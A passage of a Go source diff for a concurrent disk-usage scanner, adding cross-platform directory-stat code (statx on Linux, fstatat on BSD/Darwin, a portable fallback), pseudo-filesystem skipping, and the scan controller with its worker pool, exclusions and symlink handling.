"os/user"
|
||||
"strconv"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Meta is the metadata of one directory entry.
|
||||
type Meta struct {
|
||||
Name string
|
||||
Mode fs.FileMode
|
||||
Size int64
|
||||
Alloc int64
|
||||
AllocKnown bool
|
||||
MTime int64 // unix nanoseconds
|
||||
BTime int64 // birth time, 0 if unknown
|
||||
UID, GID uint32
|
||||
Nlink uint32
|
||||
Dev, Ino uint64
|
||||
HasIno bool // Dev/Ino are meaningful
|
||||
Err error // stat failed; only Name is valid
|
||||
}
|
||||
|
||||
// ChunkFunc receives successive batches of entries. The slice is owned by
|
||||
// the callee. Returning an error stops the read.
|
||||
type ChunkFunc func([]Meta) error
|
||||
|
||||
// Lstat returns metadata for path without following a final symlink.
|
||||
func Lstat(path string) (Meta, error) { return statPath(path, false) }
|
||||
|
||||
// Stat returns metadata for path, following symlinks.
|
||||
func Stat(path string) (Meta, error) { return statPath(path, true) }
|
||||
|
||||
var (
|
||||
nameMu sync.Mutex
|
||||
userNames = map[uint32]string{}
|
||||
groupNames = map[uint32]string{}
|
||||
)
|
||||
|
||||
// UserName resolves a uid to a name (cached; falls back to the number).
|
||||
func UserName(uid uint32) string {
|
||||
return lookupName(userNames, uid, func(s string) (string, error) {
|
||||
u, err := user.LookupId(s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return u.Username, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GroupName resolves a gid to a name (cached; falls back to the number).
|
||||
func GroupName(gid uint32) string {
|
||||
return lookupName(groupNames, gid, func(s string) (string, error) {
|
||||
g, err := user.LookupGroupId(s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return g.Name, nil
|
||||
})
|
||||
}
|
||||
|
||||
func lookupName(cache map[uint32]string, id uint32, look func(string) (string, error)) string {
|
||||
nameMu.Lock()
|
||||
defer nameMu.Unlock()
|
||||
if n, ok := cache[id]; ok {
|
||||
return n
|
||||
}
|
||||
s := strconv.FormatUint(uint64(id), 10)
|
||||
if n, err := look(s); err == nil {
|
||||
s = n
|
||||
}
|
||||
cache[id] = s
|
||||
return s
|
||||
}
|
||||
|
||||
// fromFileInfo fills the portable fields of Meta.
|
||||
func fromFileInfo(fi fs.FileInfo) Meta {
|
||||
return Meta{
|
||||
Name: fi.Name(),
|
||||
Mode: fi.Mode(),
|
||||
Size: fi.Size(),
|
||||
Alloc: fi.Size(),
|
||||
MTime: fi.ModTime().UnixNano(),
|
||||
Nlink: 1,
|
||||
}
|
||||
}
|
||||
|
||||
// readDirGeneric is the portable fallback: os.ReadDir in chunks plus Lstat
|
||||
// per entry by path.
|
||||
func readDirGeneric(path string, chunk int, fn ChunkFunc, stat func(string) (Meta, error)) error {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
for {
|
||||
des, err := f.ReadDir(chunk)
|
||||
if len(des) > 0 {
|
||||
out := make([]Meta, len(des))
|
||||
for i, de := range des {
|
||||
m, serr := stat(joinPath(path, de.Name()))
|
||||
if serr != nil {
|
||||
m = Meta{Err: serr}
|
||||
}
|
||||
m.Name = de.Name()
|
||||
out[i] = m
|
||||
}
|
||||
if ferr := fn(out); ferr != nil {
|
||||
return ferr
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
if errors.Is(err, io.EOF) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func joinPath(dir, name string) string {
|
||||
if len(dir) > 0 && os.IsPathSeparator(dir[len(dir)-1]) {
|
||||
return dir + name
|
||||
}
|
||||
return dir + string(os.PathSeparator) + name
|
||||
}
|
||||
|
||||
// JoinPath joins a directory and an entry name without cleaning.
|
||||
func JoinPath(dir, name string) string { return joinPath(dir, name) }
|
||||
|
||||
func baseName(path string) string {
|
||||
i := len(path) - 1
|
||||
for i > 0 && os.IsPathSeparator(path[i]) {
|
||||
i--
|
||||
}
|
||||
path = path[:i+1]
|
||||
for j := len(path) - 1; j >= 0; j-- {
|
||||
if os.IsPathSeparator(path[j]) {
|
||||
return path[j+1:]
|
||||
}
|
||||
}
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
//go:build darwin || freebsd
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// ReadDir streams the entries of a directory in chunks, stat-ing each entry
|
||||
// relative to the directory fd.
|
||||
func ReadDir(path string, chunk int, fn ChunkFunc) error {
|
||||
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
|
||||
if err != nil {
|
||||
return &os.PathError{Op: "open", Path: path, Err: err}
|
||||
}
|
||||
f := os.NewFile(uintptr(fd), path)
|
||||
defer f.Close()
|
||||
for {
|
||||
des, err := f.ReadDir(chunk)
|
||||
if len(des) > 0 {
|
||||
out := make([]Meta, len(des))
|
||||
for i, de := range des {
|
||||
var st unix.Stat_t
|
||||
if serr := unix.Fstatat(fd, de.Name(), &st, unix.AT_SYMLINK_NOFOLLOW); serr != nil {
|
||||
out[i] = Meta{Name: de.Name(), Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}}
|
||||
continue
|
||||
}
|
||||
out[i] = fromStat(&st)
|
||||
out[i].Name = de.Name()
|
||||
}
|
||||
if ferr := fn(out); ferr != nil {
|
||||
return ferr
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
if errors.Is(err, io.EOF) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func fromStat(st *unix.Stat_t) Meta {
|
||||
return Meta{
|
||||
Mode: modeFromUnix(uint32(st.Mode)),
|
||||
Size: st.Size,
|
||||
Alloc: st.Blocks * 512,
|
||||
AllocKnown: true,
|
||||
MTime: st.Mtim.Nano(),
|
||||
BTime: st.Btim.Nano(),
|
||||
UID: st.Uid,
|
||||
GID: st.Gid,
|
||||
Nlink: uint32(st.Nlink),
|
||||
Dev: uint64(st.Dev),
|
||||
Ino: uint64(st.Ino),
|
||||
HasIno: true,
|
||||
}
|
||||
}
|
||||
|
||||
func statPath(path string, follow bool) (Meta, error) {
|
||||
var st unix.Stat_t
|
||||
var err error
|
||||
if follow {
|
||||
err = unix.Stat(path, &st)
|
||||
} else {
|
||||
err = unix.Lstat(path, &st)
|
||||
}
|
||||
if err != nil {
|
||||
return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err}
|
||||
}
|
||||
m := fromStat(&st)
|
||||
m.Name = baseName(path)
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// IsVirtualFS is Linux-specific; elsewhere nothing is skipped.
|
||||
func IsVirtualFS(string) bool { return false }
|
||||
@@ -0,0 +1,138 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"os"
|
||||
"sync/atomic"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// noStatx is set if the kernel lacks statx (pre-4.11); we fall back to fstatat.
|
||||
var noStatx atomic.Bool
|
||||
|
||||
const statxMask = unix.STATX_BASIC_STATS | unix.STATX_BTIME
|
||||
|
||||
// ReadDir streams the entries of a directory in chunks, stat-ing each entry
|
||||
// relative to the directory fd (no repeated path resolution).
|
||||
func ReadDir(path string, chunk int, fn ChunkFunc) error {
|
||||
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
|
||||
if err != nil {
|
||||
return &os.PathError{Op: "open", Path: path, Err: err}
|
||||
}
|
||||
f := os.NewFile(uintptr(fd), path)
|
||||
defer f.Close()
|
||||
for {
|
||||
des, err := f.ReadDir(chunk)
|
||||
if len(des) > 0 {
|
||||
out := make([]Meta, len(des))
|
||||
for i, de := range des {
|
||||
m, serr := statAt(fd, de.Name(), unix.AT_SYMLINK_NOFOLLOW)
|
||||
if serr != nil {
|
||||
m = Meta{Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}}
|
||||
}
|
||||
m.Name = de.Name()
|
||||
out[i] = m
|
||||
}
|
||||
if ferr := fn(out); ferr != nil {
|
||||
return ferr
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
if errors.Is(err, io.EOF) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func statAt(dirfd int, name string, flags int) (Meta, error) {
|
||||
if !noStatx.Load() {
|
||||
var st unix.Statx_t
|
||||
err := unix.Statx(dirfd, name, flags|unix.AT_STATX_DONT_SYNC, statxMask, &st)
|
||||
if err == nil {
|
||||
return fromStatx(&st), nil
|
||||
}
|
||||
if !errors.Is(err, unix.ENOSYS) {
|
||||
return Meta{}, err
|
||||
}
|
||||
noStatx.Store(true)
|
||||
}
|
||||
var st unix.Stat_t
|
||||
if err := unix.Fstatat(dirfd, name, &st, flags); err != nil {
|
||||
return Meta{}, err
|
||||
}
|
||||
return Meta{
|
||||
Mode: modeFromUnix(st.Mode), Size: st.Size, Alloc: st.Blocks * 512, AllocKnown: true,
|
||||
MTime: st.Mtim.Nano(), UID: st.Uid, GID: st.Gid, Nlink: uint32(st.Nlink),
|
||||
Dev: st.Dev, Ino: st.Ino, HasIno: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func fromStatx(st *unix.Statx_t) Meta {
|
||||
m := Meta{
|
||||
Mode: modeFromUnix(uint32(st.Mode)),
|
||||
Size: int64(st.Size),
|
||||
Alloc: int64(st.Blocks) * 512,
|
||||
AllocKnown: true,
|
||||
MTime: st.Mtime.Sec*1e9 + int64(st.Mtime.Nsec),
|
||||
UID: st.Uid,
|
||||
GID: st.Gid,
|
||||
Nlink: st.Nlink,
|
||||
Dev: unix.Mkdev(st.Dev_major, st.Dev_minor),
|
||||
Ino: st.Ino,
|
||||
HasIno: true,
|
||||
}
|
||||
if st.Mask&unix.STATX_BTIME != 0 {
|
||||
m.BTime = st.Btime.Sec*1e9 + int64(st.Btime.Nsec)
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func statPath(path string, follow bool) (Meta, error) {
|
||||
flags := unix.AT_SYMLINK_NOFOLLOW
|
||||
if follow {
|
||||
flags = 0
|
||||
}
|
||||
m, err := statAt(unix.AT_FDCWD, path, flags)
|
||||
if err != nil {
|
||||
return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err}
|
||||
}
|
||||
m.Name = baseName(path)
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// Linux pseudo-filesystems whose contents are not disk usage.
|
||||
var virtualFS = map[int64]bool{
|
||||
0x9fa0: true, // proc
|
||||
0x62656572: true, // sysfs
|
||||
0x1cd1: true, // devpts
|
||||
0x27e0eb: true, // cgroup
|
||||
0x63677270: true, // cgroup2
|
||||
0x64626720: true, // debugfs
|
||||
0x74726163: true, // tracefs
|
||||
0x73636673: true, // securityfs
|
||||
0x6165676c: true, // pstore
|
||||
0xcafe4a11: true, // bpf
|
||||
0x62656570: true, // configfs
|
||||
0x65735543: true, // fusectl
|
||||
0x19800202: true, // mqueue
|
||||
0xde5e81e4: true, // efivarfs
|
||||
0x42494e4d: true, // binfmt_misc
|
||||
0xf97cff8c: true, // selinuxfs
|
||||
0x958458f6: true, // hugetlbfs
|
||||
0x6e736673: true, // nsfs
|
||||
0x50495045: true, // pipefs
|
||||
}
|
||||
|
||||
// IsVirtualFS reports whether path is the root of a pseudo filesystem
|
||||
// (proc, sysfs, cgroup, …) that should not be scanned as disk usage.
|
||||
func IsVirtualFS(path string) bool {
|
||||
var st unix.Statfs_t
|
||||
if err := unix.Statfs(path, &st); err != nil {
|
||||
return false
|
||||
}
|
||||
return virtualFS[int64(st.Type)]
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
//go:build !linux && !darwin && !freebsd
|
||||
|
||||
package platform
|
||||
|
||||
import "os"
|
||||
|
||||
// ReadDir streams the entries of a directory using the portable os API.
|
||||
// Allocated size, inode identity and link counts are not available here.
|
||||
func ReadDir(path string, chunk int, fn ChunkFunc) error {
|
||||
return readDirGeneric(path, chunk, fn, func(p string) (Meta, error) { return statPath(p, false) })
|
||||
}
|
||||
|
||||
func statPath(path string, follow bool) (Meta, error) {
|
||||
var fi os.FileInfo
|
||||
var err error
|
||||
if follow {
|
||||
fi, err = os.Stat(path)
|
||||
} else {
|
||||
fi, err = os.Lstat(path)
|
||||
}
|
||||
if err != nil {
|
||||
return Meta{}, err
|
||||
}
|
||||
m := fromFileInfo(fi)
|
||||
m.Name = baseName(path)
|
||||
fillSys(&m, fi)
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// IsVirtualFS is Linux-specific; elsewhere nothing is skipped.
|
||||
func IsVirtualFS(string) bool { return false }
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows && !linux && !darwin && !freebsd
|
||||
|
||||
package platform
|
||||
|
||||
import "os"
|
||||
|
||||
func fillSys(*Meta, os.FileInfo) {}
|
||||
@@ -0,0 +1,12 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func fillSys(m *Meta, fi os.FileInfo) {
|
||||
if d, ok := fi.Sys().(*syscall.Win32FileAttributeData); ok {
|
||||
m.BTime = d.CreationTime.Nanoseconds()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package scan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"runtime"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TestMemoryPerNode reports heap use per inventory node for a real tree.
|
||||
// Set MAPSIZE_MEM_ROOT to a directory to run it.
|
||||
func TestMemoryPerNode(t *testing.T) {
|
||||
root := os.Getenv("MAPSIZE_MEM_ROOT")
|
||||
if root == "" {
|
||||
t.Skip("set MAPSIZE_MEM_ROOT")
|
||||
}
|
||||
var before, after runtime.MemStats
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&before)
|
||||
start := time.Now()
|
||||
s, err := Start(context.Background(), root, Options{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
<-s.Done()
|
||||
el := time.Since(start)
|
||||
runtime.GC()
|
||||
runtime.ReadMemStats(&after)
|
||||
n := s.Tree.Len()
|
||||
heap := after.HeapAlloc - before.HeapAlloc
|
||||
t.Logf("nodes=%d scan=%s heap=%.1f MiB (%.0f bytes/node)", n, el.Round(time.Millisecond),
|
||||
float64(heap)/(1<<20), float64(heap)/float64(n))
|
||||
runtime.KeepAlive(s)
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package scan
|
||||
|
||||
import "runtime/debug"
|
||||
|
||||
// OnPanic is called if a scanner goroutine panics. The default re-panics
|
||||
// (crashing the process); the TUI replaces it so it can restore the terminal
|
||||
// before reporting. Programmer bugs are never silently swallowed.
|
||||
var OnPanic = func(v any, stack []byte) { panic(v) }
|
||||
|
||||
func guard() {
|
||||
if v := recover(); v != nil {
|
||||
OnPanic(v, debug.Stack())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,542 @@
|
||||
// Package scan implements the bounded concurrent filesystem scanner.
|
||||
//
|
||||
// Architecture (see ARCHITECTURE.md): a single controller goroutine owns the
|
||||
// inventory.Tree and a FIFO of pending directories. A fixed pool of workers
|
||||
// performs directory I/O and sends result chunks back. The controller's
|
||||
// select loop offers jobs and accepts results at the same time, so bounded
|
||||
// channels can never deadlock: workers never enqueue work themselves.
|
||||
package scan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/platform"
|
||||
)
|
||||
|
||||
// FollowMode controls symlink traversal.
|
||||
type FollowMode int
|
||||
|
||||
const (
|
||||
FollowNone FollowMode = iota
|
||||
FollowSameFS
|
||||
FollowAll
|
||||
)
|
||||
|
||||
func (f FollowMode) String() string {
|
||||
return [...]string{"none", "same-filesystem", "all"}[f]
|
||||
}
|
||||
|
||||
// ParseFollow parses a --follow-symlinks value.
|
||||
func ParseFollow(s string) (FollowMode, error) {
|
||||
switch s {
|
||||
case "none", "":
|
||||
return FollowNone, nil
|
||||
case "same-filesystem", "same-fs":
|
||||
return FollowSameFS, nil
|
||||
case "all":
|
||||
return FollowAll, nil
|
||||
}
|
||||
return 0, fmt.Errorf("invalid --follow-symlinks %q (want none, same-filesystem or all)", s)
|
||||
}
|
||||
|
||||
// Workers resolves a concurrency mode name or number to a worker count.
|
||||
func Workers(mode string) (int, error) {
|
||||
cpu := runtime.NumCPU()
|
||||
switch mode {
|
||||
case "conservative":
|
||||
return 2, nil
|
||||
case "balanced", "":
|
||||
return min(8, max(2, 2*cpu)), nil
|
||||
case "aggressive":
|
||||
return min(64, max(4, 8*cpu)), nil
|
||||
}
|
||||
var n int
|
||||
if _, err := fmt.Sscan(mode, &n); err != nil || n < 1 || n > 1024 {
|
||||
return 0, fmt.Errorf("invalid workers %q (conservative, balanced, aggressive or 1-1024)", mode)
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// Options configures a scan.
|
||||
type Options struct {
|
||||
Workers int
|
||||
Follow FollowMode
|
||||
OneFileSystem bool
|
||||
Excludes []string
|
||||
|
||||
// Tuning knobs, mostly for tests. Zero means default.
|
||||
ChunkSize int // entries per result chunk
|
||||
JobBuffer int // capacity of the job channel
|
||||
ResultBuf int // capacity of the result channel
|
||||
ApplyBatch int // max results applied per write-lock hold
|
||||
}
|
||||
|
||||
func (o *Options) defaults() {
|
||||
if o.Workers <= 0 {
|
||||
o.Workers, _ = Workers("balanced")
|
||||
}
|
||||
if o.ChunkSize <= 0 {
|
||||
o.ChunkSize = 1024
|
||||
}
|
||||
if o.JobBuffer <= 0 {
|
||||
o.JobBuffer = o.Workers * 2
|
||||
}
|
||||
if o.ResultBuf <= 0 {
|
||||
o.ResultBuf = o.Workers * 4
|
||||
}
|
||||
if o.ApplyBatch <= 0 {
|
||||
o.ApplyBatch = 64
|
||||
}
|
||||
}
|
||||
|
||||
// Progress is a cheap, lock-free view of scan activity.
|
||||
type Progress struct {
|
||||
Entries int64
|
||||
Pending int64 // directories discovered but not yet dispatched
|
||||
Inflight int64 // directories being read
|
||||
Workers int
|
||||
}
|
||||
|
||||
// Scanner runs one scan. Tree is safe to read under Tree.RLock while the
|
||||
// scan runs.
|
||||
type Scanner struct {
|
||||
Tree *inventory.Tree
|
||||
opts Options
|
||||
|
||||
entries, pending, inflight atomic.Int64
|
||||
done chan struct{}
|
||||
}
|
||||
|
||||
type job struct {
|
||||
id inventory.NodeID
|
||||
path string
|
||||
dev uint64
|
||||
// hints derived once per directory
|
||||
inCache, inLog bool
|
||||
}
|
||||
|
||||
type result struct {
|
||||
job *job
|
||||
entries []platform.Meta
|
||||
final bool
|
||||
err error
|
||||
}
|
||||
|
||||
type inodeKey struct{ dev, ino uint64 }
|
||||
|
||||
// Start stats root, creates the tree and begins scanning in the background.
|
||||
func Start(ctx context.Context, root string, opts Options) (*Scanner, error) {
|
||||
opts.defaults()
|
||||
// Path-style exclusions are matched against absolute paths.
|
||||
excl := make([]string, len(opts.Excludes))
|
||||
for i, p := range opts.Excludes {
|
||||
excl[i] = p
|
||||
if strings.ContainsAny(p, `/\`) {
|
||||
if a, err := filepath.Abs(p); err == nil {
|
||||
excl[i] = a
|
||||
}
|
||||
}
|
||||
}
|
||||
opts.Excludes = excl
|
||||
abs, err := filepath.Abs(root)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m, err := platform.Stat(abs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
kind := kindOf(m)
|
||||
t := inventory.New(abs, kind)
|
||||
t.Stats.Workers = opts.Workers
|
||||
t.Stats.Excludes = opts.Excludes
|
||||
t.Stats.OneFileSystem = opts.OneFileSystem
|
||||
t.Stats.Follow = opts.Follow.String()
|
||||
r := t.Node(t.Root())
|
||||
setMeta(r, m)
|
||||
r.TotSize, r.TotAlloc = m.Size, m.Alloc
|
||||
s := &Scanner{Tree: t, opts: opts, done: make(chan struct{})}
|
||||
if kind != inventory.KindDir {
|
||||
t.Stats.Files = 1
|
||||
t.Stats.Complete = true
|
||||
t.Stats.End = time.Now()
|
||||
close(s.done)
|
||||
return s, nil
|
||||
}
|
||||
t.Stats.Dirs = 1
|
||||
c := &controller{s: s, t: t, opts: opts, links: map[inodeKey]struct{}{}}
|
||||
// Loop detection needs inode identity; without it (Windows and other
|
||||
// portable-fallback platforms) symlinks are not followed at all.
|
||||
if opts.Follow != FollowNone && !m.HasIno {
|
||||
c.opts.Follow = FollowNone
|
||||
t.Stats.Follow = "none (no inode identity on this platform)"
|
||||
}
|
||||
if c.opts.Follow != FollowNone {
|
||||
c.visited = map[inodeKey]struct{}{{m.Dev, m.Ino}: {}}
|
||||
}
|
||||
c.rootDev = m.Dev
|
||||
c.pending = []pendingDir{{id: t.Root(), dev: m.Dev}}
|
||||
s.pending.Store(1)
|
||||
go c.run(ctx)
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Done is closed when the scan has finished or been cancelled and drained.
|
||||
func (s *Scanner) Done() <-chan struct{} { return s.done }
|
||||
|
||||
// Progress returns live counters without locking the tree.
|
||||
func (s *Scanner) Progress() Progress {
|
||||
return Progress{Entries: s.entries.Load(), Pending: s.pending.Load(), Inflight: s.inflight.Load(), Workers: s.opts.Workers}
|
||||
}
|
||||
|
||||
// maxEntriesPerLock bounds how long the controller holds the write lock, so
|
||||
// the UI's read lock is never starved for more than a few milliseconds.
|
||||
const maxEntriesPerLock = 8192
|
||||
|
||||
type pendingDir struct {
|
||||
id inventory.NodeID
|
||||
dev uint64
|
||||
}
|
||||
|
||||
type controller struct {
|
||||
s *Scanner
|
||||
t *inventory.Tree
|
||||
opts Options
|
||||
rootDev uint64
|
||||
pending []pendingDir // FIFO; head index advances, compacted occasionally
|
||||
head int
|
||||
links map[inodeKey]struct{}
|
||||
visited map[inodeKey]struct{} // only when following symlinks
|
||||
}
|
||||
|
||||
func (c *controller) run(ctx context.Context) {
|
||||
defer guard()
|
||||
defer close(c.s.done)
|
||||
jobs := make(chan *job, c.opts.JobBuffer)
|
||||
results := make(chan result, c.opts.ResultBuf)
|
||||
var wg sync.WaitGroup
|
||||
for range c.opts.Workers {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer guard()
|
||||
worker(ctx, jobs, results, c.opts.ChunkSize)
|
||||
}()
|
||||
}
|
||||
|
||||
inflight := 0
|
||||
ctxDone := ctx.Done()
|
||||
cancelled := false
|
||||
var next *job
|
||||
batch := make([]result, 0, c.opts.ApplyBatch)
|
||||
for {
|
||||
if next == nil && !cancelled && c.head < len(c.pending) {
|
||||
next = c.makeJob(c.pending[c.head])
|
||||
}
|
||||
if inflight == 0 && next == nil {
|
||||
break
|
||||
}
|
||||
var jobCh chan<- *job
|
||||
if next != nil {
|
||||
jobCh = jobs
|
||||
}
|
||||
select {
|
||||
case jobCh <- next:
|
||||
next = nil
|
||||
c.head++
|
||||
if c.head > 4096 && c.head*2 > len(c.pending) {
|
||||
c.pending = append(c.pending[:0], c.pending[c.head:]...)
|
||||
c.head = 0
|
||||
}
|
||||
inflight++
|
||||
c.s.inflight.Store(int64(inflight))
|
||||
c.s.pending.Store(int64(len(c.pending) - c.head))
|
||||
case r := <-results:
|
||||
batch = append(batch[:0], r)
|
||||
n := len(r.entries)
|
||||
drain:
|
||||
for len(batch) < cap(batch) && n < maxEntriesPerLock {
|
||||
select {
|
||||
case r := <-results:
|
||||
batch = append(batch, r)
|
||||
n += len(r.entries)
|
||||
default:
|
||||
break drain
|
||||
}
|
||||
}
|
||||
c.t.Lock()
|
||||
for i := range batch {
|
||||
if c.apply(&batch[i]) {
|
||||
inflight--
|
||||
}
|
||||
batch[i] = result{}
|
||||
}
|
||||
c.t.Unlock()
|
||||
c.s.inflight.Store(int64(inflight))
|
||||
c.s.pending.Store(int64(len(c.pending) - c.head))
|
||||
case <-ctxDone:
|
||||
cancelled = true
|
||||
ctxDone = nil
|
||||
next = nil
|
||||
}
|
||||
}
|
||||
close(jobs)
|
||||
wg.Wait()
|
||||
|
||||
c.t.Lock()
|
||||
st := &c.t.Stats
|
||||
if cancelled {
|
||||
st.Cancelled = true
|
||||
st.Unscanned += int64(len(c.pending) - c.head)
|
||||
for _, p := range c.pending[c.head:] {
|
||||
c.t.Node(p.id).Flags |= inventory.FlagIncomplete
|
||||
}
|
||||
}
|
||||
st.Complete = true
|
||||
st.End = time.Now()
|
||||
c.t.Unlock()
|
||||
c.s.pending.Store(0)
|
||||
c.s.inflight.Store(0)
|
||||
}
|
||||
|
||||
func (c *controller) makeJob(p pendingDir) *job {
|
||||
path := c.t.Path(p.id)
|
||||
j := &job{id: p.id, path: path, dev: p.dev}
|
||||
j.inCache, j.inLog = inventory.PathHints(path)
|
||||
return j
|
||||
}
|
||||
|
||||
func worker(ctx context.Context, jobs <-chan *job, results chan<- result, chunk int) {
|
||||
for j := range jobs {
|
||||
var err error
|
||||
if err = ctx.Err(); err == nil {
|
||||
err = platform.ReadDir(j.path, chunk, func(ms []platform.Meta) error {
|
||||
if err := ctx.Err(); err != nil {
|
||||
return err
|
||||
}
|
||||
results <- result{job: j, entries: ms}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
results <- result{job: j, final: true, err: err}
|
||||
}
|
||||
}
|
||||
|
||||
func kindOf(m platform.Meta) inventory.Kind {
|
||||
switch {
|
||||
case m.Mode.IsDir():
|
||||
return inventory.KindDir
|
||||
case m.Mode.IsRegular():
|
||||
return inventory.KindFile
|
||||
case m.Mode&os.ModeSymlink != 0:
|
||||
return inventory.KindSymlink
|
||||
}
|
||||
return inventory.KindOther
|
||||
}
|
||||
|
||||
func setMeta(n *inventory.Node, m platform.Meta) {
|
||||
n.Size, n.Alloc = m.Size, m.Alloc
|
||||
n.MTime = m.MTime
|
||||
n.Mode = uint32(m.Mode)
|
||||
n.UID, n.GID = m.UID, m.GID
|
||||
n.Nlink = m.Nlink
|
||||
if !m.AllocKnown {
|
||||
n.Flags |= inventory.FlagAllocUnknown
|
||||
}
|
||||
}
|
||||
|
||||
// apply merges one result into the tree. It reports whether the result
|
||||
// completed its directory. Called with the tree write-locked.
|
||||
func (c *controller) apply(r *result) bool {
|
||||
t := c.t
|
||||
j := r.job
|
||||
dir := j.id
|
||||
var d inventory.Delta
|
||||
c.s.entries.Add(int64(len(r.entries)))
|
||||
for _, m := range r.entries {
|
||||
c.addEntry(j, m, &d)
|
||||
}
|
||||
if r.final {
|
||||
dn := t.Node(dir)
|
||||
switch {
|
||||
case r.err == nil:
|
||||
dn.Flags |= inventory.FlagScanned
|
||||
case errors.Is(r.err, context.Canceled) || errors.Is(r.err, context.DeadlineExceeded):
|
||||
dn.Flags |= inventory.FlagIncomplete
|
||||
t.Stats.Unscanned++
|
||||
default:
|
||||
slog.Debug("read directory failed", "path", j.path, "err", r.err)
|
||||
dn.Flags |= inventory.FlagError | inventory.FlagIncomplete
|
||||
t.Stats.AddError(inventory.ErrorRecord{Node: dir, Kind: inventory.Classify(r.err), Msg: errMsg(r.err)})
|
||||
d.Errors++
|
||||
}
|
||||
}
|
||||
if d != (inventory.Delta{}) {
|
||||
t.Propagate(dir, d)
|
||||
}
|
||||
return r.final
|
||||
}
|
||||
|
||||
func errMsg(err error) string {
|
||||
var pe *os.PathError
|
||||
if errors.As(err, &pe) {
|
||||
return pe.Op + ": " + pe.Err.Error()
|
||||
}
|
||||
return err.Error()
|
||||
}
|
||||
|
||||
func (c *controller) excluded(path, name string) bool {
|
||||
for _, p := range c.opts.Excludes {
|
||||
if strings.ContainsAny(p, `/\`) {
|
||||
pp := filepath.Clean(p)
|
||||
if path == pp || strings.HasPrefix(path, pp+string(os.PathSeparator)) {
|
||||
return true
|
||||
}
|
||||
if ok, _ := filepath.Match(pp, path); ok {
|
||||
return true
|
||||
}
|
||||
} else if ok, _ := filepath.Match(p, name); ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *controller) addEntry(j *job, m platform.Meta, d *inventory.Delta) {
|
||||
t := c.t
|
||||
st := &t.Stats
|
||||
if m.Err != nil {
|
||||
k := inventory.Classify(m.Err)
|
||||
if k == inventory.ErrVanished {
|
||||
st.AddError(inventory.ErrorRecord{Node: j.id, Name: m.Name, Kind: k, Msg: "vanished between listing and stat"})
|
||||
d.Errors++
|
||||
return
|
||||
}
|
||||
id := t.Add(j.id, m.Name, inventory.KindOther)
|
||||
n := t.Node(id)
|
||||
n.Flags |= inventory.FlagError
|
||||
n.Errors = 1
|
||||
st.AddError(inventory.ErrorRecord{Node: id, Kind: k, Msg: errMsg(m.Err)})
|
||||
d.Errors++
|
||||
d.Files++
|
||||
st.Others++
|
||||
return
|
||||
}
|
||||
var path string
|
||||
if len(c.opts.Excludes) > 0 {
|
||||
path = platform.JoinPath(j.path, m.Name)
|
||||
if c.excluded(path, m.Name) {
|
||||
st.Excluded++
|
||||
return
|
||||
}
|
||||
}
|
||||
kind := kindOf(m)
|
||||
var target platform.Meta
|
||||
followed, broken := false, false
|
||||
if kind == inventory.KindSymlink {
|
||||
if path == "" {
|
||||
path = platform.JoinPath(j.path, m.Name)
|
||||
}
|
||||
tm, err := platform.Stat(path)
|
||||
switch {
|
||||
case err != nil:
|
||||
